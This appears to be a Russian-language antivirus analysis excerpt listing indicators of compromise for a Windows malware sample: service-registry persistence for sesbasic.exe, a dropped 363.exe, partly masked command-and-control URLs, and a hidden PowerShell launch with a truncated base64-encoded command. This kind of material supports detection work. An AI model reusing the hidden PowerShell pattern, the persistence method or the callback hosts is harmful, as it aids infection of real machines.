Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sesbasic] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sesbasic] 'ImagePath' = '"%WINDIR%\SysWOW64\sesbasic.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABHAGYAbwBjAG4AZgB1AHoAdABxAD0AJwBFAGQAbgBtAHcAbgBpAHAAaQBrACcAOwAkAE0AcAB0AGYAZgBhAGYAcwB1AHgAeQAgAD0AIAAnADMANgAzACcAOwAkAFEAcgByAHQAbQBrAGsAeABrAD0AJwBYAGcAcABlAGkAbwBzAHoAZgB...
- %HOMEPATH%\363.exe
- %HOMEPATH%\363.exe в %WINDIR%\syswow64\sesbasic.exe
- http://www.vg##h.com/wp-admin/Ch9wxSq/
- http://19#.#31.167.50/ilIOmSDXPAx
- http://68.##4.15.223/vuyhKb7v
- http://72.##.55.174/AGfW6WkaC0dnO
- http://19#.##1.143.52:8080/GX50xN via 19#.#41.143.52
- http://15#.##.241.220:8080/Q9fIJr4W8wX7 via 15#.#5.241.220
- http://45.##.95.107:443/AjlwvhSE4GV0EoIQ8 via 45.##.95.107
- DNS ASK vg##h.com
- '%HOMEPATH%\363.exe'
- '%WINDIR%\syswow64\sesbasic.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABHAGYAbwBjAG4AZgB1AHoAdABxAD0AJwBFAGQAbgBtAHcAbgBpAHAAaQBrACcAOwAkAE0AcAB0AGYAZgBhAGYAcwB1AHgAeQAgAD0AIAAnADMANgAzACcAOwAkAFEAcgByAHQAbQBrAGsAeABrAD0AJwBYAGcAcABlAGkAbwBzAHoAZgB...' (со скрытым окном)